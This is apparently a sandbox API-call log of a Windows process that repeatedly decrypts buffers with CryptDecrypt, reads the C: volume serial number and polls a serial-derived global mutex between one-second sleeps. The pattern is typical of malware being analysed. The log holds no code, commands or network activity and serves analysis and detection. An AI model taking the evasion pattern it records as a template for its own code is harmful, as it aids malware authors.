	[0257.974] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0257.974] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0257.974] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0257.974] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0257.974] CryptDestroyKey (hKey=0x645d38) returned 1
	[0257.974] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0257.974] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0257.974] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0257.974] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0257.974] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0257.974] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0257.974] CryptDestroyKey (hKey=0x645d38) returned 1
	[0257.974] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0257.974] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0257.974] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0257.974] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0257.975] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0257.975] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0257.975] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0257.975] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0257.975] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0257.975] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0257.975] CryptDestroyKey (hKey=0x645e78) returned 1
	[0257.975] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0257.975] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0257.975] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0257.975] CloseHandle (hObject=0x3fc) returned 1
	[0257.975] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0257.975] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0257.975] Sleep (dwMilliseconds=0x3e8) 
	[0259.249] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0259.249] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0259.249] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0259.250] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0259.250] CryptDestroyKey (hKey=0x645d38) returned 1
	[0259.250] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0259.250] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0259.250] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0259.250] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645938) returned 1
	[0259.250] CryptSetKeyParam (hKey=0x645938, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0259.250] CryptDecrypt (in: hKey=0x645938, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0259.250] CryptDestroyKey (hKey=0x645938) returned 1
	[0259.250] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0259.250] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0259.250] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0259.250] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0259.250] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0259.250] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0259.250] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0259.250] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0259.250] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0259.250] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0259.250] CryptDestroyKey (hKey=0x645e78) returned 1
	[0259.250] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0259.250] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0259.250] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0259.250] CloseHandle (hObject=0x3fc) returned 1
	[0259.250] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0259.250] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0259.250] Sleep (dwMilliseconds=0x3e8) 
	[0260.425] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0260.425] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0260.425] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0260.425] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0260.425] CryptDestroyKey (hKey=0x645d38) returned 1
	[0260.425] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0260.425] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0260.425] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0260.425] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645f38) returned 1
	[0260.426] CryptSetKeyParam (hKey=0x645f38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0260.426] CryptDecrypt (in: hKey=0x645f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0260.426] CryptDestroyKey (hKey=0x645f38) returned 1
	[0260.426] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0260.426] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0260.426] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0260.426] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0260.426] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0260.426] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0260.426] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0260.426] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645878) returned 1
	[0260.426] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0260.426] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0260.426] CryptDestroyKey (hKey=0x645878) returned 1
	[0260.426] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0260.426] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0260.426] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0260.426] CloseHandle (hObject=0x3fc) returned 1
	[0260.426] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0260.426] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0260.427] Sleep (dwMilliseconds=0x3e8) 
	[0261.435] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0261.435] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645b78) returned 1
	[0261.435] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0261.435] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0261.435] CryptDestroyKey (hKey=0x645b78) returned 1
	[0261.435] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0261.435] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0261.435] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0261.435] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645878) returned 1
	[0261.435] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0261.435] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0261.435] CryptDestroyKey (hKey=0x645878) returned 1
	[0261.435] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0261.435] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0261.435] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0261.435] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0261.435] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0261.436] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0261.436] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0261.436] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645878) returned 1
	[0261.436] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0261.436] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0261.436] CryptDestroyKey (hKey=0x645878) returned 1
	[0261.436] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0261.436] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0261.436] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0261.436] CloseHandle (hObject=0x3fc) returned 1
	[0261.436] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0261.436] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0261.436] Sleep (dwMilliseconds=0x3e8) 
	[0262.714] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0262.714] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645f78) returned 1
	[0262.714] CryptSetKeyParam (hKey=0x645f78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0262.714] CryptDecrypt (in: hKey=0x645f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0262.714] CryptDestroyKey (hKey=0x645f78) returned 1
	[0262.714] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0262.714] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0262.714] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0262.714] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0262.715] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0262.715] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0262.715] CryptDestroyKey (hKey=0x645d38) returned 1
	[0262.715] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0262.715] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0262.715] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0262.715] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0262.715] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0262.715] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0262.715] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0262.715] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645878) returned 1
	[0262.715] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0262.715] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0262.715] CryptDestroyKey (hKey=0x645878) returned 1
	[0262.715] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0262.715] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0262.715] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0262.715] CloseHandle (hObject=0x3fc) returned 1
	[0262.715] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0262.715] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0262.715] Sleep (dwMilliseconds=0x3e8) 
	[0263.753] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0263.753] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645938) returned 1
	[0263.753] CryptSetKeyParam (hKey=0x645938, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0263.753] CryptDecrypt (in: hKey=0x645938, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0263.753] CryptDestroyKey (hKey=0x645938) returned 1
	[0263.753] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0263.753] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0263.753] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0263.753] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d78) returned 1
	[0263.753] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0263.753] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0263.753] CryptDestroyKey (hKey=0x645d78) returned 1
	[0263.753] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0263.759] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0263.759] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0263.759] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0263.759] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0263.759] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0263.759] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0263.759] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645938) returned 1
	[0263.759] CryptSetKeyParam (hKey=0x645938, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0263.759] CryptDecrypt (in: hKey=0x645938, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0263.759] CryptDestroyKey (hKey=0x645938) returned 1
	[0263.759] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0263.759] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0263.759] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0263.759] CloseHandle (hObject=0x3fc) returned 1
	[0263.759] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0263.759] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0263.759] Sleep (dwMilliseconds=0x3e8) 
	[0264.794] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0264.795] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0264.795] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0264.795] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0264.795] CryptDestroyKey (hKey=0x645d38) returned 1
	[0264.795] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0264.795] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0264.795] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0264.795] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0264.795] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0264.795] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0264.795] CryptDestroyKey (hKey=0x645d38) returned 1
	[0264.795] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0264.795] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0264.795] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0264.795] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0264.795] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0264.795] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0264.795] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0264.795] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d38) returned 1
	[0264.795] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0264.795] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0264.795] CryptDestroyKey (hKey=0x645d38) returned 1
